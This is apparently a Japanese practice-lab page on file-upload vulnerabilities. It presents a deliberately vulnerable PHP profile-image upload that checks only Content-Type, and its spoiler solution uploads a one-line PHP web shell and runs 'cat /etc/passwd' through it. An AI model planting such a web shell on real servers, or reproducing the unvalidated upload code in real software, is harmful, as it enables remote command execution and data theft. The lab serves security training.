utsuroi file upload labsLab 01 / 5 — Practitioner
01

プロフィール画像から Web シェルアップロードへ

Web shell upload via insufficient extension validation

うつろい EC のマイページに「プロフィール画像アップロード」機能。サーバ側は Content-Type が image/jpeg または image/png であることだけをチェックし、ファイル名と拡張子はそのまま保存している。

保存先は /var/www/uploads/(Web 公開ディレクトリ)で、PHP 実行が有効。

PHP の Web シェル(<?php system($_GET['cmd']); ?> 等)をアップロードし、URL 経由でアクセスして任意コマンドを実行してください。

クイック試行:

アップロード済みファイル

(まだアップロードされていません)

URL でアクセスして実行

アップロードしたファイルを HTTP で開き、?cmd= でコマンドを実行できます。

脆弱な実装
// PHP - Content-Type だけチェック
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png'])) {
    abort(400);
}
// 拡張子もファイル名も検証なし
move_uploaded_file($_FILES['file']['tmp_name'], '/var/www/uploads/' . $_FILES['file']['name']);
// → /var/www/uploads/webshell.php に PHP コードが保存され、HTTP でアクセスすれば実行
正解(ネタバレ)
  1. 「webshell.php」をクイック試行で選択 → ファイル名 webshell.php、Content-Type image/jpeg(検証はこれを見るだけなので素通り)、内容に <?php system($_GET['cmd']); ?>
  2. 「アップロード」 → サーバは Content-Type が image/jpeg なので検証通過、/var/www/uploads/webshell.php として保存
  3. アクセスフィールドに webshell.php?cmd=cat /etc/passwd を入れて「アクセス」
  4. サーバは PHP として実行 → コマンド出力がレスポンスに